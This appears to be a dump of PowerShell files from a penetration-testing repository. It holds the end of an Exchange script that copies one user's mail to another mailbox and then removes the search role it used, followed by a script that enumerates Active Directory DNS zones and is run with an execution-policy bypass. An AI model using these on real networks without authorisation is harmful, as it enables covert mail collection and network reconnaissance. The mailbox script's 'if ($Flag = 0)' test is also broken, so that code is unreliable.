$TargetFolder -LogLevel Suppress| Out-Null 94 | } 95 | else 96 | { 97 | Search-Mailbox -Identity $MailBox -SearchQuery $Filter -TargetMailbox $TargetMailbox -TargetFolder $TargetFolder -LogLevel Suppress| Out-Null 98 | } 99 | 100 | if ($Flag = 0) 101 | { 102 | Write-Host "[>] Start to remove user" 103 | #Remove user 104 | Get-ManagementRoleAssignment ("Mailbox Search-"+$User) |Remove-ManagementRoleAssignment -Confirm:$false 105 | } 106 | 107 | Write-Host "[>] Start to Remove-PSSession" 108 | #Remove PSSession 109 | Remove-PSSession $Session 110 | Write-Host "[+] All done." 111 | } 112 | -------------------------------------------------------------------------------- /dns-dump.ps1: -------------------------------------------------------------------------------- 1 | ## Update:2019.4.28 2 | ## 3gstudent 3 | ## I modified the search parameters to use in the new environment(Eg.Server2012R2). 4 | ## Reference:https://github.com/mmessano/PowerShell/blob/master/dns-dump.ps1 5 | ## .EXAMPLE 6 | ## PS C:\> Powershell -ep bypass -f dns-dump.ps1 -zone test.com 7 | ## PS C:\> Powershell -ep bypass -f dns-dump.ps1 -zone test.com -csv 8 | ## --------------------------------------------------------------------- 9 | ## dns-dump.ps1 10 | ## 11 | ## Michael B. Smith 12 | ## michael at smithcons dot com 13 | ## http://TheEssentialExchange.com/blogs/michael 14 | ## May/June, 2009 15 | ## Updated December, 2009 adding many add'l record types. 16 | ## 17 | ## Use as you wish, no warranties expressed, implied or explicit. 18 | ## Works for me, may not for you. 19 | ## If you use it, I would appreciate an attribution. 20 | ## 21 | ## Thanks to Chris Dent, chris at highorbit dot co dot uk 22 | ## for some clarification on the precise format of the 23 | ## dnsRecord attribute. See his blog post on the topic at 24 | ## http://www.highorbit.co.uk/?p=1097 25 | ## 26 | 27 | Param( 28 | [string]$zone, 29 | [string]$domain, 30 | [string]$dc, 31 | [switch]$csv, 32 | [switch]$help 33 | ) 34 | 35 | function dumpByteArray([System.Byte[]]$array, [int]$width = 9) 36 | { 37 | ## this is only used if we run into a record type 38 | ## we don't understand. 39 | 40 | $hex = "" 41 | $chr = "" 42 | $int = "" 43 | 44 | $i = $array.Count 45 | "Array contains {0} elements" -f $i 46 | $index = 0 47 | $count = 0 48 | while ($i-- -gt 0) 49 | { 50 | $val = $array[$index++] 51 | 52 | $hex += ("{0} " -f $val.ToString("x2")) 53 | 54 | if ([char]::IsLetterOrDigit($val) -or 55 | [char]::IsPunctuation($val) -or 56 | ([char]$val -eq " ")) 57 | { 58 | $chr += [char]$val 59 | } 60 | else 61 | { 62 | $chr += "." 63 | } 64 | 65 | $int += "{0,4:N0}" -f $val 66 | 67 | $count++ 68 | if ($count -ge $width) 69 | { 70 | "$hex $chr $int" 71 | $hex = "" 72 | $chr = "" 73 | $int = "" 74 | $count = 0 75 | } 76 | } 77 | 78 | if ($count -gt 0) 79 | { 80 | if ($count -lt $width) 81 | { 82 | $hex += (" " * (3 * ($width - $count))) 83 | $chr += (" " * (1 * ($width - $count))) 84 | $int += (" " * (4 * ($width - $count))) 85 | } 86 | 87 | "$hex $chr $int" 88 | } 89 | } 90 | 91 | function dwordLE([System.Byte[]]$arr, [int]$startIndex) 92 | { 93 | ## convert four consecutive bytes in $arr into a 94 | ## 32-bit integer value... if I had bit-manipulation 95 | ## primitives in PowerShell, I'd use them instead 96 | ## of the multiply operator. 97 | ## 98 | ## this routine is for little-endian values. 99 | 100 | $res = $arr[$startIndex + 3] 101 | $res = ($res * 256) + $arr[$startIndex + 2] 102 | $res = ($res * 256) + $arr[$startIndex + 1] 103 | $res = ($res * 256) + $arr[$startIndex + 0] 104 | 105 | return $res 106 | } 107 | 108 | function dwordBE([System.Byte[]]$arr, [int]$startIndex) 109 | { 110 | ## convert four consecutive bytes in $arr into a 111 | ## 32-bit integer value... if I had bit-manipulation 112 | ## primitives in PowerShell, I'd use them instead 113 | ## of the multiply operator. 114 | ## 115 | ## this routine is for big-endian values. 116 | 117 | $res = $arr[$startIndex] 118 | $res = ($res * 256) + $arr[$startIndex + 1] 119 | $res = ($res * 256) + $arr[$startIndex + 2] 120 | $res = ($res * 256) + $arr[$startIndex + 3] 121 | 122 | return $res 123 | } 124 | 125 | function wordLE([System.Byte[]]$arr, [int]$startIndex) 126 | { 127 | ## convert two consecutive bytes in $arr into a 128 | ## 16-bit integer value... if I had bit-manipulation 129 | ## primitives in PowerShell, I'd use them instead 130 | ## of the multiply operator. 131 | ## 132 | ## this routine is for little-endian values. 133 | 134 | $res = $arr[$startIndex + 1] 135 | $res = ($res * 256) + $arr[$startIndex] 136 | 137 | return $res 138 | } 139 | 140 | function wordBE([System.Byte[]]$arr, [int]$startIndex) 141 | { 142 | ## convert two consecutive bytes in $arr into a 143 | ## 16-bit integer value... if I had bit-manipulation 144 | ## primitives in PowerShell, I'd use them instead 145 | ## of the multiply operator. 146 | ## 147 | ## this routine is for big-endian values. 148 | 149 | $res = $arr[$startIndex] 150 | $res = ($res * 256) + $arr[$startIndex + 1] 151 | 152 | return $res 153 | } 154 | 155 | function decodeName([System.Byte[]]$arr, [int]$startIndex) 156 | { 157 | ## names in DNS are stored in two formats. one 158 | ## format contains a single name and is what we 159 | ## called "simple string" in the old days. the 160 | ## first byte of a byte array contains the length 161 | ## of the string, and the rest of the bytes in 162 | ## the array are the data in the string. 163 | ## 164 | ## a "complex string" is built from simple strings. 165 | ## the complex string is prefixed by the total 166 | ## length of the complex string in byte 0, and the 167 | ## total number of segments in the complex string 168 | ## in byte 1, and the first simple string starts 169 | ## (with its length byte) in byte 2 of the complex 170 | ## string. 171 | 172 | [int]$totlen = $arr[$startIndex] 173 | [int]$segments = $arr[$startIndex + 1] 174 | [int]$index = $startIndex + 2 175 | 176 | [string]$name = "" 177 | 178 | while ($segments-- -gt 0) 179 | { 180 | [int]$segmentLength = $arr[$index++] 181 | while ($segmentLength-- -gt 0) 182 | { 183 | $name += [char]$arr[$index++] 184 | } 185 | $name += "." 186 | } 187 | 188 | return $name 189 | } 190 | 191 | function analyzeArray([System.Byte[]]$arr, [System.Object]$var) 192 | { 193 | $nameArray = $var.distinguishedname.ToString().Split(",") 194 | $name = $nameArray[0].SubString(3) 195 | 196 | ## RData Length is the length of the payload in bytes (that is, the variable part of the record) 197 | ## Truth be told, we don't use it. The payload starts at $arr[24]. If you are ever concerned 198 | ## about corrupt data and running off the end of $arr, then you need to verify against the RData 199 | ## Length value. 200 | $rdataLen = wordLE $arr 0 201 | 202 | ## RData Type is the type of the record 203 | $rdatatype = wordLE $arr 2 204 | 205 | ## the serial in the SOA where this item was last updated 206 | $updatedAtSerial = dwordLE $arr 8 207 | 208 | ## TimeToLive 209 | $ttl = dwordBE $arr 12 210 | 211 | ## $unknown = dword $arr 16 212 | 213 | ## timestamp of when the record expires, or 0 means "static" 214 | $age = dwordLE $arr 20 215 | if ($age -ne 0) 216 | { 217 | ## hours since January 1, 1601 (start of Windows epoch) 218 | ## there is a long-and-dreary way to do this manually, 219 | ## but get-date makes it trivial to do the conversion. 220 | $timestamp = ((get-date -year 1601 -month 1 -day 1 -hour 0 -minute 0 -second 0).AddHours($age)).ToString() 221 | } 222 | else 223 | { 224 | $timestamp = "[static]" 225 | } 226 | 227 | if ($rdatatype -eq 1) 228 | { 229 | # "A" record 230 | $ip = "{0}.{1}.{2}.{3}" -f $arr[24], $arr[25], $arr[26], $arr[27] 231 | 232 | if ($csv) 233 | { 234 | $formatstring = "{0},{1},{2},{3},{4}" 235 | } 236 | else 237 | { 238 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}" 239 | } 240 | 241 | $formatstring -f $name, $timestamp, $ttl, "A", $ip 242 | } 243 | elseif ($rdatatype -eq 2) 244 | { 245 | # "NS" record 246 | $nsname = decodeName $arr 24 247 | 248 | if ($csv) 249 | { 250 | $formatstring = "{0},{1},{2},{3},{4}" 251 | } 252 | else 253 | { 254 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}" 255 | } 256 | 257 | $formatstring -f $name, $timestamp, $ttl, "NS", $nsname 258 | } 259 | elseif ($rdatatype -eq 5) 260 | { 261 | # CNAME record 262 | # canonical name or alias 263 | 264 | $alias = decodeName $arr 24 265 | 266 | if ($csv) 267 | { 268 | $formatstring = "{0},{1},{2},{3},{4}" 269 | } 270 | else 271 | { 272 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}" 273 | } 274 | 275 | $formatstring -f $name, $timestamp, $ttl, "CNAME", $alias 276 | } 277 | elseif ($rdatatype -eq 6) 278 | { 279 | # "SOA" record 280 | # "Start-Of-Authority" 281 | 282 | $nslen = $arr[44] 283 | $priserver = decodeName $arr 44 284 | $index = 46 + $nslen 285 | 286 | # "Primary server: $priserver" 287 | 288 | ##$index += 1 289 | $resparty = decodeName $arr $index 290 | 291 | # "Responsible party: $resparty" 292 | 293 | # "TTL: $ttl" 294 | # "Age: $age" 295 | 296 | $serial = dwordBE $arr 24 297 | # "Serial: $serial" 298 | 299 | $refresh = dwordBE $arr 28 300 | # "Refresh: $refresh" 301 | 302 | $retry = dwordBE $arr 32 303 | # "Retry: $retry" 304 | 305 | $expires = dwordBE $arr 36 306 | # "Expires: $expires" 307 | 308 | $minttl = dwordBE $arr 40 309 | # "Minimum TTL: $minttl" 310 | 311 | if ($csv) 312 | { 313 | $formatstring = "{0},{1},{2},{3},{4},{5},{6},{7},{8},{9},{10}" 314 | 315 | $formatstring -f $name, $timestamp, $ttl, ` 316 | "SOA", $priserver, $resparty, ` 317 | $serial, $refresh, $retry, ` 318 | $expires, $minttl 319 | } 320 | else 321 | { 322 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}" 323 | 324 | $formatstring -f $name, $timestamp, $ttl, "SOA" 325 | (" " * 32) + "Primary server: $priserver" 326 | (" " * 32) + "Responsible party: $resparty" 327 | (" " * 32) + "Serial: $serial" 328 | (" " * 32) + "TTL: $ttl" 329 | (" " * 32) + "Refresh: $refresh" 330 | (" " * 32) + "Retry: $retry" 331 | (" " * 32) + "Expires: $expires" 332 | (" " * 32) + "Minimum TTL (default): $minttl" 333 | } 334 | } 335 | elseif ($rdatatype -eq 12) 336 | { 337 | # "PTR" record 338 | 339 | $ptr = decodeName $arr 24 340 | 341 | if ($csv) 342 | { 343 | $formatstring = "{0},{1},{2},{3},{4}" 344 | } 345 | else 346 | { 347 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}" 348 | } 349 | 350 | $formatstring -f $name, $timestamp, $ttl, "PTR", $ptr 351 | } 352 | elseif ($rdatatype -eq 13) 353 | { 354 | # "HINFO" record 355 | 356 | [string]$cputype = "" 357 | [string]$ostype = "" 358 | 359 | [int]$segmentLength = $arr[24] 360 | $index = 25 361 | 362 | while ($segmentLength-- -gt 0) 363 | { 364 | $cputype += [char]$arr[$index++] 365 | } 366 | 367 | $index = 24 + $arr[24] + 1 368 | [int]$segmentLength = $index++ 369 | 370 | while ($segmentLength-- -gt 0) 371 | { 372 | $ostype += [char]$arr[$index++] 373 | } 374 | 375 | if ($csv) 376 | { 377 | $formatstring = "{0},{1},{2},{3},{4},{5}" 378 | } 379 | else 380 | { 381 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4},{5}" 382 | } 383 | 384 | $formatstring -f $name, $timestamp, $ttl, "HINFO", $cputype, $ostype 385 | } 386 | elseif ($rdatatype -eq 15) 387 | { 388 | # "MX" record 389 | 390 | $priority = wordBE $arr 24 391 | $mxhost = decodeName $arr 26 392 | 393 | if ($csv) 394 | { 395 | $formatstring = "{0},{1},{2},{3},{4},{5}" 396 | } 397 | else 398 | { 399 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4} {5}" 400 | } 401 | 402 | $formatstring -f $name, $timestamp, $ttl, "MX", $priority, $mxhost 403 | } 404 | elseif ($rdatatype -eq 16) 405 | { 406 | # "TXT" record 407 | 408 | [string]$txt = "" 409 | 410 | [int]$segmentLength = $arr[24] 411 | $index = 25 412 | 413 | while ($segmentLength-- -gt 0) 414 | { 415 | $txt += [char]$arr[$index++] 416 | } 417 | 418 | if ($csv) 419 | { 420 | $formatstring = "{0},{1},{2},{3},{4}" 421 | } 422 | else 423 | { 424 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}" 425 | } 426 | 427 | $formatstring -f $name, $timestamp, $ttl, "TXT", $txt 428 | 429 | } 430 | elseif ($rdatatype -eq 28) 431 | { 432 | # "AAAA" record 433 | 434 | ### yeah, this doesn't do all the fancy formatting that can be done for IPv6 435 | 436 | $str = "" 437 | for ($i = 24; $i -lt 40; $i+=2) 438 | { 439 | $seg = wordBE $arr $i 440 | $str += ($seg).ToString('x4') 441 | if ($i -ne 38) { $str += ':' } 442 | } 443 | 444 | if ($csv) 445 | { 446 | $formatstring = "{0},{1},{2},{3},{4}" 447 | } 448 | else 449 | { 450 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3}`t{4}" 451 | } 452 | 453 | $formatstring -f $name, $timestamp, $ttl, "AAAA", $str 454 | } 455 | elseif ($rdatatype -eq 33) 456 | { 457 | # "SRV" record 458 | 459 | $port = wordBE $arr 28 460 | $weight = wordBE $arr 26 461 | $pri = wordBE $arr 24 462 | 463 | $nsname = decodeName $arr 30 464 | 465 | if ($csv) 466 | { 467 | $formatstring = "{0},{1},{2},{3},{4},{5}" 468 | } 469 | else 470 | { 471 | $formatstring = "{0,-30}`t{1,-24}`t{2}`t{3} {4} {5}" 472 | } 473 | 474 | $formatstring -f ` 475 | $name, $timestamp, ` 476 | $ttl, "SRV", ` 477 | ("[" + $pri.ToString() + "][" + $weight.ToString() + "][" + $port.ToString() + "]"), ` 478 | $nsname 479 | } 480 | else 481 | { 482 | $name 483 | "RDataType $rdatatype" 484 | $var.distinguishedname.ToString() 485 | dumpByteArray $arr 486 | } 487 | 488 | } 489 | 490 | function processAttribute([string]$attrName, [System.Object]$var) 491 | { 492 | $array = $var.$attrName.Value 493 | #### "{0} contains {1} rows of type {2} from {3}" -f $attrName, $array.Count, $array.GetType(), $var.distinguishedName.ToString() 494 | 495 | if ($array -is [System.Byte[]]) 496 | { 497 | #### dumpByteArray $array 498 | " " 499 | analyzeArray $array $var 500 | " " 501 | } 502 | else 503 | { 504 | for ($i = 0; $i -lt $array.Count; $i++) 505 | { 506 | #### dumpByteArray $array[$i] 507 | " " 508 | analyzeArray $array[$i] $var 509 | " " 510 | } 511 | } 512 | } 513 | 514 | function usage 515 | { 516 | " 517 | .\dns-dump -zone [-dc ] [-domain] [-csv] | 518 | -help 519 | 520 | dns-dump will dump, from Active Directory, a particular named zone. 521 | The zone named must be Active Directory integrated. 522 | 523 | Zone contents can vary depending on domain controller (in regards 524 | to replication and the serial number of the SOA record). By using 525 | the -dc parameter, you can specify the desired DC to use. Otherwise, 526 | dns-dump uses the default DC. 527 | 528 | The -domain option can be specified if the script is to be used 529 | against a domain that the current host isn't a part of but has read 530 | access to. 531 | 532 | Usually, output is formatted for display on a workstation. If you 533 | want CSV (comma-separated-value) output, specify the -csv parameter. 534 | Use out-file in the pipeline to save the output to a file. 535 | 536 | Finally, to produce this helpful output, you can specify the -help 537 | parameter. 538 | 539 | This command is basically equivalent to (but better than) the: 540 | 541 | dnscmd /zoneprint 542 | or 543 | dnscmd /enumrecords '@' 544 | 545 | commands. 546 | 547 | Example 1: 548 | 549 | .\dns-dump -zone essential.local -dc win2008-dc-3 550 | 551 | Example 2: 552 | 553 | .\dns-dump -help 554 | 555 | Example 3: 556 | 557 | .\dns-dump -zone essential.local -csv | 558 | out-file essential.txt -encoding ascii 559 | 560 | Note: the '-encoding ascii' is important if you want to 561 | work with the file within the old cmd.exe shell. Otherwise, 562 | you can usually leave that off. 563 | " 564 | } 565 | 566 | ## 567 | ## Main 568 | ## 569 | 570 | if ($help) 571 | { 572 | usage 573 | return 574 | } 575 | 576 | if ($args.Length -gt 0) 577 | { 578 | write-error "Invalid parameter specified" 579 | usage 580 | return 581 | } 582 | 583 | if (!$zone) 584 | { 585 | throw "must specify zone name" 586 | return 587 | } 588 | 589 | if ($domain) 590 | { 591 | $defaultNC = "DC=" + $domain.replace(".",",DC=") 592 | } 593 | else 594 | { 595 | $root = [ADSI]"LDAP://RootDSE" 596 | $defaultNC = $root.defaultNamingContext 597 | } 598 | 599 | $dn = "LDAP://" 600 | if ($dc) { $dn += $dc + "/" } 601 | # $dn += "DC=" + $zone + ",CN=MicrosoftDNS,CN=System," + $defaultNC 602 | $dn += "DC=" + $zone + ",CN=MicrosoftDNS,DC=DomainDnsZones," + $defaultNC 603 | $obj = [ADSI]$dn 604 | if ($obj.name) 605 | { 606 | if ($csv) 607 | { 608 | "Name,Timestamp,TTL,RecordType,Param1,Param2" 609 | } 610 | 611 | #### dNSProperty has a different format than dNSRecord 612 | #### processAttribute "dNSProperty" $obj 613 | 614 | foreach ($record in $obj.psbase.Children) 615 | { 616 | #### if ($record.dNSProperty) { processAttribute "dNSProperty" $record } 617 | if ($record.dnsRecord) { processAttribute "dNSRecord" $record } 618 | } 619 | } 620 | else 621 | { 622 | write-error "Can't open $dn" 623 | } 624 | 625 | $obj = $null 626 | --------------------------------------------------------------------------------